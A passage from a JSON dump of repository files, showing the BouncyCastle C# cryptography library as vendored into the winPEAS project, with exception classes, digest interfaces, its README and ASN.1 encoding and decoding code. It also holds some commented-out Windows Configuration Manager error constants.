17;\n      //public const uint CR_INVALID_RANGE = 18;\n      //public const uint CR_FAILURE = 19;\n      //public const uint CR_NO_SUCH_LOGICAL_DEV = 20;\n      //public const uint CR_CREATE_BLOCKED = 21;\n      //public const uint CR_NOT_SYSTEM_VM = 22; // WIN 95 ONLY \n      //public const uint CR_REMOVE_VETOED = 23;\n      //public const uint CR_APM_VETOED = 24;\n      //public const uint CR_INVALID_LOAD_TYPE = 25;\n      //public const uint CR_BUFFER_SMALL = 26;\n      //public const uint CR_NO_ARBITRATOR = 27;\n      //public const uint CR_NO_REGISTRY_HANDLE = 28;\n      //public const uint CR_REGISTRY_ERROR = 29;\n      //public const uint CR_INVALID_DEVICE_ID = 30;\n      //public const uint CR_INVALID_DATA = 31;\n      //public const uint CR_INVALID_API = 32;\n      //public const uint CR_DEVLOADER_NOT_READY = 33;\n      //public const uint CR_NEED_RESTART = 34;\n      //public const uint CR_NO_MORE_HW_PROFILES = 35;\n      //public const uint CR_DEVICE_NOT_THERE = 36;\n      //public const uint CR_NO_SUCH_VALUE = 37;\n      //public const uint CR_WRONG_TYPE = 38;\n      //public const uint CR_INVALID_PRIORITY = 39;\n      //public const uint CR_NOT_DISABLEABLE = 40;\n      //public const uint CR_FREE_RESOURCES = 41;\n      //public const uint CR_QUERY_VETOED = 42;\n      //public const uint CR_CANT_SHARE_IRQ = 43;\n      //public const uint CR_NO_DEPENDENT = 44;\n      //public const uint CR_SAME_RESOURCES = 45;\n      //public const uint CR_NO_SUCH_REGISTRY_KEY = 46;\n      //public const uint CR_INVALID_MACHINENAME = 47; // NT ONLY \n      //public const uint CR_REMOTE_COMM_FAILURE = 48; // NT ONLY \n      //public const uint CR_MACHINE_UNAVAILABLE = 49; // NT ONLY \n      //public const uint CR_NO_CM_SERVICES = 50; // NT ONLY \n      //public const uint CR_ACCESS_DENIED = 51; // NT ONLY \n      //public const uint CR_CALL_NOT_IMPLEMENTED = 52;\n      //public const uint CR_INVALID_PROPERTY = 53;\n      //public const uint CR_DEVICE_INTERFACE_ACTIVE = 54;\n      //public const uint CR_NO_SUCH_DEVICE_INTERFACE = 55;\n      //public const uint CR_INVALID_REFERENCE_STRING = 56;\n      //public const uint NUM_CR_RESULTS = 57;\n\n      #endregion // Configuration Manager Error Codes\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/CryptoException.cs",
    "content": "﻿using System;\n\nnamespace winPEAS._3rdParty.BouncyCastle\n{\n#if !(NETCF_1_0 || NETCF_2_0 || SILVERLIGHT || PORTABLE)\n    [Serializable]\n#endif\n    public class CryptoException\n        : Exception\n    {\n        public CryptoException()\n        {\n        }\n\n        public CryptoException(\n            string message)\n            : base(message)\n        {\n        }\n\n        public CryptoException(\n            string message,\n            Exception exception)\n            : base(message, exception)\n        {\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/DataLengthException.cs",
    "content": "﻿using System;\n\nnamespace winPEAS._3rdParty.BouncyCastle\n{\n    /**\n        * this exception is thrown if a buffer that is meant to have output\n        * copied into it turns out to be too short, or if we've been given\n        * insufficient input. In general this exception will Get thrown rather\n        * than an ArrayOutOfBounds exception.\n        */\n#if !(NETCF_1_0 || NETCF_2_0 || SILVERLIGHT || PORTABLE)\n    [Serializable]\n#endif\n    public class DataLengthException\n        : CryptoException\n    {\n        /**\n        * base constructor.\n\t\t*/\n        public DataLengthException()\n        {\n        }\n\n        /**\n         * create a DataLengthException with the given message.\n         *\n         * @param message the message to be carried with the exception.\n         */\n        public DataLengthException(\n            string message)\n            : base(message)\n        {\n        }\n\n        public DataLengthException(\n            string message,\n            Exception exception)\n            : base(message, exception)\n        {\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/ICipherParameters.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle\n{\n    public interface ICipherParameters\n    {\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/IDigest.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle\n{\n    /**\n    * interface that a message digest conforms to.\n    */\n    public interface IDigest\n    {\n        /**\n         * return the algorithm name\n         *\n         * @return the algorithm name\n         */\n        string AlgorithmName { get; }\n\n        /**\n         * return the size, in bytes, of the digest produced by this message digest.\n         *\n         * @return the size, in bytes, of the digest produced by this message digest.\n         */\n        int GetDigestSize();\n\n        /**\n         * return the size, in bytes, of the internal buffer used by this digest.\n         *\n         * @return the size, in bytes, of the internal buffer used by this digest.\n         */\n        int GetByteLength();\n\n        /**\n         * update the message digest with a single byte.\n         *\n         * @param inByte the input byte to be entered.\n         */\n        void Update(byte input);\n\n        /**\n         * update the message digest with a block of bytes.\n         *\n         * @param input the byte array containing the data.\n         * @param inOff the offset into the byte array where the data starts.\n         * @param len the length of the data.\n         */\n        void BlockUpdate(byte[] input, int inOff, int length);\n\n        /**\n         * Close the digest, producing the final digest value. The doFinal\n         * call leaves the digest reset.\n         *\n         * @param output the array the digest is to be copied into.\n         * @param outOff the offset into the out array the digest is to start at.\n         */\n        int DoFinal(byte[] output, int outOff);\n\n        /**\n         * reset the digest back to it's initial state.\n         */\n        void Reset();\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/README.md",
    "content": "# The Bouncy Castle Crypto Package For C Sharp\n\nThe Bouncy Castle Crypto package is a C\\# implementation of cryptographic algorithms and protocols, it was developed by the Legion of the Bouncy Castle, a registered Australian Charity, with a little help! The Legion, and the latest goings on with this package, can be found at [https://www.bouncycastle.org](https://www.bouncycastle.org). In addition to providing basic cryptography algorithms, the package also provides support for CMS, TSP, X.509 certificate generation and a variety of other standards such as OpenPGP.\n\nThe Legion also gratefully acknowledges the contributions made to this package by others (see [here](https://www.bouncycastle.org/csharp/contributors.html) for the current list). If you would like to contribute to our efforts please feel free to get in touch with us or visit our [donations page](https://www.bouncycastle.org/donate), sponsor some specific work, or purchase a support contract through [Crypto Workshop](https://www.cryptoworkshop.com).\n\nExcept where otherwise stated, this software is distributed under a license based on the MIT X Consortium license. To view the license, [see here](https://www.bouncycastle.org/licence.html). The OpenPGP library also includes a modified BZIP2 library which is licensed under the [Apache Software License, Version 2.0](http://www.apache.org/licenses/). \n\n**Note**: this source tree is not the FIPS version of the APIs - if you are interested in our FIPS version please contact us directly at  [office@bouncycastle.org](mailto:office@bouncycastle.org).\n\n## Mailing Lists\n\nFor those who are interested, there are 2 mailing lists for participation in this project. To subscribe use the links below and include the word subscribe in the message body. (To unsubscribe, replace **subscribe** with **unsubscribe** in the message body)\n\n*   [announce-crypto-csharp-request@bouncycastle.org](mailto:announce-crypto-csharp-request@bouncycastle.org)  \n    This mailing list is for new release announcements only, general subscribers cannot post to it.\n*   [dev-crypto-csharp-request@bouncycastle.org](mailto:dev-crypto-csharp-request@bouncycastle.org)  \n    This mailing list is for discussion of development of the package. This includes bugs, comments, requests for enhancements, questions about use or operation.\n\n**NOTE:**You need to be subscribed to send mail to the above mailing list.\n\n## Feedback \n\nIf you want to provide feedback directly to the members of **The Legion** then please use [feedback-crypto@bouncycastle.org](mailto:feedback-crypto@bouncycastle.org), if you want to help this project survive please consider [donating](https://www.bouncycastle.org/donate).\n\nFor bug reporting/requests you can report issues here on github, via feedback-crypto if required. We will accept pull requests based on this repository as well, but only on the basis that any code included may be distributed under the [Bouncy Castle License](https://www.bouncycastle.org/licence.html).\n\n## Finally\n\nEnjoy!\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/Asn1Encodable.cs",
    "content": "﻿using System.IO;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n\tpublic abstract class Asn1Encodable\n\t : IAsn1Convertible\n\t{\n\t\tpublic const string Der = \"DER\";\n\t\tpublic const string Ber = \"BER\";\n\n\t\tpublic byte[] GetEncoded()\n\t\t{\n\t\t\tMemoryStream bOut = new MemoryStream();\n\t\t\tAsn1OutputStream aOut = new Asn1OutputStream(bOut);\n\n\t\t\taOut.WriteObject(this);\n\n\t\t\treturn bOut.ToArray();\n\t\t}\n\n\t\tpublic byte[] GetEncoded(\n\t\t\tstring encoding)\n\t\t{\n\t\t\tif (encoding.Equals(Der))\n\t\t\t{\n\t\t\t\tMemoryStream bOut = new MemoryStream();\n\t\t\t\tDerOutputStream dOut = new DerOutputStream(bOut);\n\n\t\t\t\tdOut.WriteObject(this);\n\n\t\t\t\treturn bOut.ToArray();\n\t\t\t}\n\n\t\t\treturn GetEncoded();\n\t\t}\n\n\t\t/**\n\t\t* Return the DER encoding of the object, null if the DER encoding can not be made.\n\t\t*\n\t\t* @return a DER byte array, null otherwise.\n\t\t*/\n\t\tpublic byte[] GetDerEncoded()\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\treturn GetEncoded(Der);\n\t\t\t}\n\t\t\tcatch (IOException)\n\t\t\t{\n\t\t\t\treturn null;\n\t\t\t}\n\t\t}\n\n\t\tpublic sealed override int GetHashCode()\n\t\t{\n\t\t\treturn ToAsn1Object().CallAsn1GetHashCode();\n\t\t}\n\n\t\tpublic sealed override bool Equals(\n\t\t\tobject obj)\n\t\t{\n\t\t\tif (obj == this)\n\t\t\t\treturn true;\n\n\t\t\tIAsn1Convertible other = obj as IAsn1Convertible;\n\n\t\t\tif (other == null)\n\t\t\t\treturn false;\n\n\t\t\tAsn1Object o1 = ToAsn1Object();\n\t\t\tAsn1Object o2 = other.ToAsn1Object();\n\n\t\t\treturn o1 == o2 || (null != o2 && o1.CallAsn1Equals(o2));\n\t\t}\n\n\t\tpublic abstract Asn1Object ToAsn1Object();\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/Asn1EncodableVector.cs",
    "content": "﻿using System;\nusing System.Collections;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n    /**\n      * Mutable class for building ASN.1 constructed objects such as SETs or SEQUENCEs.\n      */\n    public class Asn1EncodableVector\n        : IEnumerable\n    {\n        internal static readonly Asn1Encodable[] EmptyElements = new Asn1Encodable[0];\n\n        private const int DefaultCapacity = 10;\n\n        private Asn1Encodable[] elements;\n        private int elementCount;\n        private bool copyOnWrite;\n\n        public static Asn1EncodableVector FromEnumerable(IEnumerable e)\n        {\n            Asn1EncodableVector v = new Asn1EncodableVector();\n            foreach (Asn1Encodable obj in e)\n            {\n                v.Add(obj);\n            }\n            return v;\n        }\n\n        public Asn1EncodableVector()\n            : this(DefaultCapacity)\n        {\n        }\n\n        public Asn1EncodableVector(int initialCapacity)\n        {\n            if (initialCapacity < 0)\n                throw new ArgumentException(\"must not be negative\", \"initialCapacity\");\n\n            this.elements = (initialCapacity == 0) ? EmptyElements : new Asn1Encodable[initialCapacity];\n            this.elementCount = 0;\n            this.copyOnWrite = false;\n        }\n\n        public Asn1EncodableVector(params Asn1Encodable[] v)\n            : this()\n        {\n            Add(v);\n        }\n\n        public void Add(Asn1Encodable element)\n        {\n            if (null == element)\n                throw new ArgumentNullException(\"element\");\n\n            int capacity = elements.Length;\n            int minCapacity = elementCount + 1;\n            if ((minCapacity > capacity) | copyOnWrite)\n            {\n                Reallocate(minCapacity);\n            }\n\n            this.elements[elementCount] = element;\n            this.elementCount = minCapacity;\n        }\n\n        public void Add(params Asn1Encodable[] objs)\n        {\n            foreach (Asn1Encodable obj in objs)\n            {\n                Add(obj);\n            }\n        }\n\n        public void AddOptional(params Asn1Encodable[] objs)\n        {\n            if (objs != null)\n            {\n                foreach (Asn1Encodable obj in objs)\n                {\n                    if (obj != null)\n                    {\n                        Add(obj);\n                    }\n                }\n            }\n        }\n\n        public void AddOptionalTagged(bool isExplicit, int tagNo, Asn1Encodable obj)\n        {\n            if (null != obj)\n            {\n                Add(new DerTaggedObject(isExplicit, tagNo, obj));\n            }\n        }\n\n        public void AddAll(Asn1EncodableVector other)\n        {\n            if (null == other)\n                throw new ArgumentNullException(\"other\");\n\n            int otherElementCount = other.Count;\n            if (otherElementCount < 1)\n                return;\n\n            int capacity = elements.Length;\n            int minCapacity = elementCount + otherElementCount;\n            if ((minCapacity > capacity) | copyOnWrite)\n            {\n                Reallocate(minCapacity);\n            }\n\n            int i = 0;\n            do\n            {\n                Asn1Encodable otherElement = other[i];\n                if (null == otherElement)\n                    throw new NullReferenceException(\"'other' elements cannot be null\");\n\n                this.elements[elementCount + i] = otherElement;\n            }\n            while (++i < otherElementCount);\n\n            this.elementCount = minCapacity;\n        }\n\n        public Asn1Encodable this[int index]\n        {\n            get\n            {\n                if (index >= elementCount)\n                    throw new IndexOutOfRangeException(index + \" >= \" + elementCount);\n\n                return elements[index];\n            }\n        }\n\n        public int Count\n        {\n            get { return elementCount; }\n        }\n\n        public IEnumerator GetEnumerator()\n        {\n            return CopyElements().GetEnumerator();\n        }\n\n        internal Asn1Encodable[] CopyElements()\n        {\n            if (0 == elementCount)\n                return EmptyElements;\n\n            Asn1Encodable[] copy = new Asn1Encodable[elementCount];\n            Array.Copy(elements, 0, copy, 0, elementCount);\n            return copy;\n        }\n\n        internal Asn1Encodable[] TakeElements()\n        {\n            if (0 == elementCount)\n                return EmptyElements;\n\n            if (elements.Length == elementCount)\n            {\n                this.copyOnWrite = true;\n                return elements;\n            }\n\n            Asn1Encodable[] copy = new Asn1Encodable[elementCount];\n            Array.Copy(elements, 0, copy, 0, elementCount);\n            return copy;\n        }\n\n        private void Reallocate(int minCapacity)\n        {\n            int oldCapacity = elements.Length;\n            int newCapacity = System.Math.Max(oldCapacity, minCapacity + (minCapacity >> 1));\n\n            Asn1Encodable[] copy = new Asn1Encodable[newCapacity];\n            Array.Copy(elements, 0, copy, 0, elementCount);\n\n            this.elements = copy;\n            this.copyOnWrite = false;\n        }\n\n        internal static Asn1Encodable[] CloneElements(Asn1Encodable[] elements)\n        {\n            return elements.Length < 1 ? EmptyElements : (Asn1Encodable[])elements.Clone();\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/Asn1Exception.cs",
    "content": "﻿using System;\nusing System.IO;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n#if !(NETCF_1_0 || NETCF_2_0 || SILVERLIGHT || PORTABLE)\n\t[Serializable]\n#endif\n\tpublic class Asn1Exception\n\t\t: IOException\n\t{\n\t\tpublic Asn1Exception()\n\t\t\t: base()\n\t\t{\n\t\t}\n\n\t\tpublic Asn1Exception(\n\t\t\tstring message)\n\t\t\t: base(message)\n\t\t{\n\t\t}\n\n\t\tpublic Asn1Exception(\n\t\t\tstring message,\n\t\t\tException exception)\n\t\t\t: base(message, exception)\n\t\t{\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/Asn1InputStream.cs",
    "content": "﻿using System;\nusing System.IO;\nusing winPEAS._3rdParty.BouncyCastle.asn1.util;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\nusing winPEAS._3rdParty.BouncyCastle.util.io;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n    /**\n      * a general purpose ASN.1 decoder - note: this class differs from the\n      * others in that it returns null after it has read the last object in\n      * the stream. If an ASN.1 Null is encountered a Der/BER Null object is\n      * returned.\n      */\n    public class Asn1InputStream\n        : FilterStream\n    {\n        private readonly int limit;\n\n        private readonly byte[][] tmpBuffers;\n\n        internal static int FindLimit(Stream input)\n        {\n            if (input is LimitedInputStream)\n                return ((LimitedInputStream)input).Limit;\n\n            if (input is Asn1InputStream)\n                return ((Asn1InputStream)input).Limit;\n\n            if (input is MemoryStream)\n            {\n                MemoryStream mem = (MemoryStream)input;\n                return (int)(mem.Length - mem.Position);\n            }\n\n            return int.MaxValue;\n        }\n\n        public Asn1InputStream(\n            Stream inputStream)\n            : this(inputStream, FindLimit(inputStream))\n        {\n        }\n\n        /**\n         * Create an ASN1InputStream where no DER object will be longer than limit.\n         *\n         * @param input stream containing ASN.1 encoded data.\n         * @param limit maximum size of a DER encoded object.\n         */\n        public Asn1InputStream(\n            Stream inputStream,\n            int limit)\n            : base(inputStream)\n        {\n            this.limit = limit;\n            this.tmpBuffers = new byte[16][];\n        }\n\n        /**\n         * Create an ASN1InputStream based on the input byte array. The length of DER objects in\n         * the stream is automatically limited to the length of the input array.\n         *\n         * @param input array containing ASN.1 encoded data.\n         */\n        public Asn1InputStream(\n            byte[] input)\n            : this(new MemoryStream(input, false), input.Length)\n        {\n        }\n\n        /**\n        * build an object given its tag and the number of bytes to construct it from.\n        */\n        private Asn1Object BuildObject(\n            int tag,\n            int tagNo,\n            int length)\n        {\n            bool isConstructed = (tag & Asn1Tags.Constructed) != 0;\n\n            DefiniteLengthInputStream defIn = new DefiniteLengthInputStream(this.s, length, limit);\n\n            if ((tag & Asn1Tags.Application) != 0)\n            {\n                return new DerApplicationSpecific(isConstructed, tagNo, defIn.ToArray());\n            }\n\n            if ((tag & Asn1Tags.Tagged) != 0)\n            {\n                return new Asn1StreamParser(defIn).ReadTaggedObject(isConstructed, tagNo);\n            }\n\n            if (isConstructed)\n            {\n                // TODO There are other tags that may be constructed (e.g. BitString)\n                switch (tagNo)\n                {\n                    case Asn1Tags.OctetString:\n                        {\n                            //\n                            // yes, people actually do this...\n                            //\n                            Asn1EncodableVector v = ReadVector(defIn);\n                            Asn1OctetString[] strings = new Asn1OctetString[v.Count];\n\n                            for (int i = 0; i != strings.Length; i++)\n                            {\n                                Asn1Encodable asn1Obj = v[i];\n                                if (!(asn1Obj is Asn1OctetString))\n                                {\n                                    throw new Asn1Exception(\"unknown object encountered in constructed OCTET STRING: \"\n                                        + Platform.GetTypeName(asn1Obj));\n                                }\n\n                                strings[i] = (Asn1OctetString)asn1Obj;\n                            }\n\n                            return new BerOctetString(strings);\n                        }\n                    case Asn1Tags.Sequence:\n                        return CreateDerSequence(defIn);\n                    case Asn1Tags.Set:\n                        return CreateDerSet(defIn);\n                    case Asn1Tags.External:\n                        return new DerExternal(ReadVector(defIn));\n                    default:\n                        throw new IOException(\"unknown tag \" + tagNo + \" encountered\");\n                }\n            }\n\n            return CreatePrimitiveDerObject(tagNo, defIn, tmpBuffers);\n        }\n\n        internal virtual Asn1EncodableVector ReadVector(DefiniteLengthInputStream dIn)\n        {\n            if (dIn.Remaining < 1)\n                return new Asn1EncodableVector(0);\n\n            Asn1InputStream subStream = new Asn1InputStream(dIn);\n            Asn1EncodableVector v = new Asn1EncodableVector();\n            Asn1Object o;\n            while ((o = subStream.ReadObject()) != null)\n            {\n                v.Add(o);\n            }\n\n            return v;\n        }\n\n        internal virtual DerSequence CreateDerSequence(\n            DefiniteLengthInputStream dIn)\n        {\n            return DerSequence.FromVector(ReadVector(dIn));\n        }\n\n        internal virtual DerSet CreateDerSet(\n            DefiniteLengthInputStream dIn)\n        {\n            return DerSet.FromVector(ReadVector(dIn), false);\n        }\n\n        public Asn1Object ReadObject()\n        {\n            int tag = ReadByte();\n            if (tag <= 0)\n            {\n                if (tag == 0)\n                    throw new IOException(\"unexpected end-of-contents marker\");\n\n                return null;\n            }\n\n            //\n            // calculate tag number\n            //\n            int tagNo = ReadTagNumber(this.s, tag);\n\n            bool isConstructed = (tag & Asn1Tags.Constructed) != 0;\n\n            //\n            // calculate length\n            //\n            int length = ReadLength(this.s, limit, false);\n\n            if (length < 0) // indefinite-length method\n            {\n                if (!isConstructed)\n                    throw new IOException(\"indefinite-length primitive encoding encountered\");\n\n                IndefiniteLengthInputStream indIn = new IndefiniteLengthInputStream(this.s, limit);\n                Asn1StreamParser sp = new Asn1StreamParser(indIn, limit);\n\n                if ((tag & Asn1Tags.Application) != 0)\n                {\n                    return new BerApplicationSpecificParser(tagNo, sp).ToAsn1Object();\n                }\n\n                if ((tag & Asn1Tags.Tagged) != 0)\n                {\n                    return new BerTaggedObjectParser(true, tagNo, sp).ToAsn1Object();\n                }\n\n                // TODO There are other tags that may be constructed (e.g. BitString)\n                switch (tagNo)\n                {\n                    case Asn1Tags.OctetString:\n                        return new BerOctetStringParser(sp).ToAsn1Object();\n                    case Asn1Tags.Sequence:\n                        return new BerSequenceParser(sp).ToAsn1Object();\n                    case Asn1Tags.Set:\n                        return new BerSetParser(sp).ToAsn1Object();\n                    case Asn1Tags.External:\n                        return new DerExternalParser(sp).ToAsn1Object();\n                    default:\n                        throw new IOException(\"unknown BER object encountered\");\n                }\n            }\n            else\n            {\n                try\n                {\n                    return BuildObject(tag, tagNo, length);\n                }\n                catch (ArgumentException e)\n                {\n                    throw new Asn1Exception(\"corrupted stream detected\", e);\n                }\n            }\n        }\n\n        internal virtual int Limit\n        {\n            get { return limit; }\n        }\n\n        internal static int ReadTagNumber(\n            Stream s,\n            int tag)\n        {\n            int tagNo = tag & 0x1f;\n\n            //\n            // with tagged object tag number is bottom 5 bits, or stored at the start of the content\n            //\n            if (tagNo == 0x1f)\n            {\n                tagNo = 0;\n\n                int b = s.ReadByte();\n\n                // X.690-0207 8.1.2.4.2\n                // \"c) bits 7 to 1 of the first subsequent octet shall not all be zero.\"\n                if ((b & 0x7f) == 0) // Note: -1 will pass\n                    throw new IOException(\"corrupted stream - invalid high tag number found\");\n\n                while ((b >= 0) && ((b & 0x80) != 0))\n                {\n                    tagNo |= (b & 0x7f);\n                    tagNo <<= 7;\n                    b = s.ReadByte();\n                }\n\n                if (b < 0)\n                    throw new EndOfStreamException(\"EOF found inside tag value.\");\n\n                tagNo |= (b & 0x7f);\n            }\n\n            return tagNo;\n        }\n\n        internal static int ReadLength(Stream s, int limit, bool isParsing)\n        {\n            int length = s.ReadByte();\n            if (length < 0)\n                throw new EndOfStreamException(\"EOF found when length expected\");\n\n            if (length == 0x80)\n                return -1;      // indefinite-length encoding\n\n            if (length > 127)\n            {\n                int size = length & 0x7f;\n\n                // Note: The invalid long form \"0xff\" (see X.690 8.1.3.5c) will be caught here\n                if (size > 4)\n                    throw new IOException(\"DER length more than 4 bytes: \" + size);\n\n                length = 0;\n                for (int i = 0; i < size; i++)\n                {\n                    int next = s.ReadByte();\n\n                    if (next < 0)\n                        throw new EndOfStreamException(\"EOF found reading length\");\n\n                    length = (length << 8) + next;\n                }\n\n                if (length < 0)\n                    throw new IOException(\"corrupted stream - negative length found\");\n\n                if (length >= limit && !isParsing)   // after all we must have read at least 1 byte\n                    throw new IOException(\"corrupted stream - out of bounds length found: \" + length + \" >= \" + limit);\n            }\n\n            return length;\n        }\n\n        private static byte[] GetBuffer(DefiniteLengthInputStream defIn, byte[][] tmpBuffers)\n        {\n            int len = defIn.Remaining;\n            if (len >= tmpBuffers.Length)\n            {\n                return defIn.ToArray();\n            }\n\n            byte[] buf = tmpBuffers[len];\n            if (buf == null)\n            {\n                buf = tmpBuffers[len] = new byte[len];\n            }\n\n            defIn.ReadAllIntoByteArray(buf);\n\n            return buf;\n        }\n\n        private static char[] GetBmpCharBuffer(DefiniteLengthInputStream defIn)\n        {\n            int remainingBytes = defIn.Remaining;\n            if (0 != (remainingBytes & 1))\n                throw new IOException(\"malformed BMPString encoding encountered\");\n\n            char[] str = new char[remainingBytes / 2];\n            int stringPos = 0;\n\n            byte[] buf = new byte[8];\n            while (remainingBytes >= 8)\n            {\n                if (Streams.ReadFully(defIn, buf, 0, 8) != 8)\n                    throw new EndOfStreamException(\"EOF encountered in middle of BMPString\");\n\n                str[stringPos] = (char)((buf[0] << 8) | (buf[1] & 0xFF));\n                str[stringPos + 1] = (char)((buf[2] << 8) | (buf[3] & 0xFF));\n                str[stringPos + 2] = (char)((buf[4] << 8) | (buf[5] & 0xFF));\n                str[stringPos + 3] = (char)((buf[6] << 8) | (buf[7] & 0xFF));\n                stringPos += 4;\n                remainingBytes -= 8;\n            }\n            if (remainingBytes > 0)\n            {\n                if (Streams.ReadFully(defIn, buf, 0, remainingBytes) != remainingBytes)\n                    throw new EndOfStreamException(\"EOF encountered in middle of BMPString\");\n\n                int bufPos = 0;\n                do\n                {\n                    int b1 = buf[bufPos++] << 8;\n                    int b2 = buf[bufPos++] & 0xFF;\n                    str[stringPos++] = (char)(b1 | b2);\n                }\n                while (bufPos < remainingBytes);\n            }\n\n            if (0 != defIn.Remaining || str.Length != stringPos)\n                throw new InvalidOperationException();\n\n            return str;\n        }\n\n        internal static Asn1Object CreatePrimitiveDerObject(\n            int tagNo,\n            DefiniteLengthInputStream defIn,\n            byte[][] tmpBuffers)\n        {\n            switch (tagNo)\n            {\n                case Asn1Tags.BmpString:\n                    return new DerBmpString(GetBmpCharBuffer(defIn));\n                case Asn1Tags.Boolean:\n                    return DerBoolean.FromOctetString(GetBuffer(defIn, tmpBuffers));\n                case Asn1Tags.Enumerated:\n                    return DerEnumerated.FromOctetString(GetBuffer(defIn, tmpBuffers));\n                case Asn1Tags.ObjectIdentifier:\n                    return DerObjectIdentifier.FromOctetString(GetBuffer(defIn, tmpBuffers));\n            }\n\n            byte[] bytes = defIn.ToArray();\n\n            switch (tagNo)\n            {\n                case Asn1Tags.BitString:\n                    return DerBitString.FromAsn1Octets(bytes);\n                case Asn1Tags.GeneralizedTime:\n                    return new DerGeneralizedTime(bytes);\n                case Asn1Tags.GeneralString:\n                    return new DerGeneralString(bytes);\n                case Asn1Tags.GraphicString:\n                    return new DerGraphicString(bytes);\n                case Asn1Tags.IA5String:\n                    return new DerIA5String(bytes);\n                case Asn1Tags.Integer:\n                    return new DerInteger(bytes, false);\n                case Asn1Tags.Null:\n                    return DerNull.Instance;   // actual content is ignored (enforce 0 length?)\n                case Asn1Tags.NumericString:\n                    return new DerNumericString(bytes);\n                case Asn1Tags.OctetString:\n                    return new DerOctetString(bytes);\n                case Asn1Tags.PrintableString:\n                    return new DerPrintableString(bytes);\n                case Asn1Tags.T61String:\n                    return new DerT61String(bytes);\n                case Asn1Tags.UniversalString:\n                    return new DerUniversalString(bytes);\n                case Asn1Tags.UtcTime:\n                    return new DerUtcTime(bytes);\n                case Asn1Tags.Utf8String:\n                    return new DerUtf8String(bytes);\n                case Asn1Tags.VideotexString:\n                    return new DerVideotexString(bytes);\n                case Asn1Tags.VisibleString:\n                    return new DerVisibleString(bytes);\n                default:\n                    throw new IOException(\"unknown tag \" + tagNo + \" encountered\");\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/Asn1Null.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n    /**\n    * A Null object.\n    */\n    public abstract class Asn1Null\n        : Asn1Object\n    {\n        internal Asn1Null()\n        {\n        }\n\n        public override string ToString()\n        {\n            return \"NULL\";\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/Asn1Object.cs",
    "content": "﻿using System;\nusing System.IO;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n\tpublic abstract class Asn1Object\n\t\t: Asn1Encodable\n\t{\n\t\t/// <summary>Create a base ASN.1 object from a byte array.</summary>\n\t\t/// <param name=\"data\">The byte array to parse.</param>\n\t\t/// <returns>The base ASN.1 object represented by the byte array.</returns>\n\t\t/// <exception cref=\"IOException\">\n\t\t/// If there is a problem parsing the data, or parsing an object did not exhaust the available data.\n\t\t/// </exception>\n\t\tpublic static Asn1Object FromByteArray(\n\t\t\tbyte[] data)\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tMemoryStream input = new MemoryStream(data, false);\n\t\t\t\tAsn1InputStream asn1 = new Asn1InputStream(input, data.Length);\n\t\t\t\tAsn1Object result = asn1.ReadObject();\n\t\t\t\tif (input.Position != input.Length)\n\t\t\t\t\tthrow new IOException(\"extra data found after object\");\n\t\t\t\treturn result;\n\t\t\t}\n\t\t\tcatch (InvalidCastException)\n\t\t\t{\n\t\t\t\tthrow new IOException(\"cannot recognise object in byte array\");\n\t\t\t}\n\t\t}\n\n\t\t/// <summary>Read a base ASN.1 object from a stream.</summary>\n\t\t/// <param name=\"inStr\">The stream to parse.</param>\n\t\t/// <returns>The base ASN.1 object represented by the byte array.</returns>\n\t\t/// <exception cref=\"IOException\">If there is a problem parsing the data.</exception>\n\t\tpublic static Asn1Object FromStream(\n\t\t\tStream inStr)\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\treturn new Asn1InputStream(inStr).ReadObject();\n\t\t\t}\n\t\t\tcatch (InvalidCastException)\n\t\t\t{\n\t\t\t\tthrow new IOException(\"cannot recognise object in stream\");\n\t\t\t}\n\t\t}\n\n\t\tpublic sealed override Asn1Object ToAsn1Object()\n\t\t{\n\t\t\treturn this;\n\t\t}\n\n\t\tinternal abstract void Encode(DerOutputStream derOut);\n\n\t\tprotected abstract bool Asn1Equals(Asn1Object asn1Object);\n\t\tprotected abstract int Asn1GetHashCode();\n\n\t\tinternal bool CallAsn1Equals(Asn1Object obj)\n\t\t{\n\t\t\treturn Asn1Equals(obj);\n\t\t}\n\n\t\tinternal int CallAsn1GetHashCode()\n\t\t{\n\t\t\treturn Asn1GetHashCode();\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/Asn1OctetString.cs",
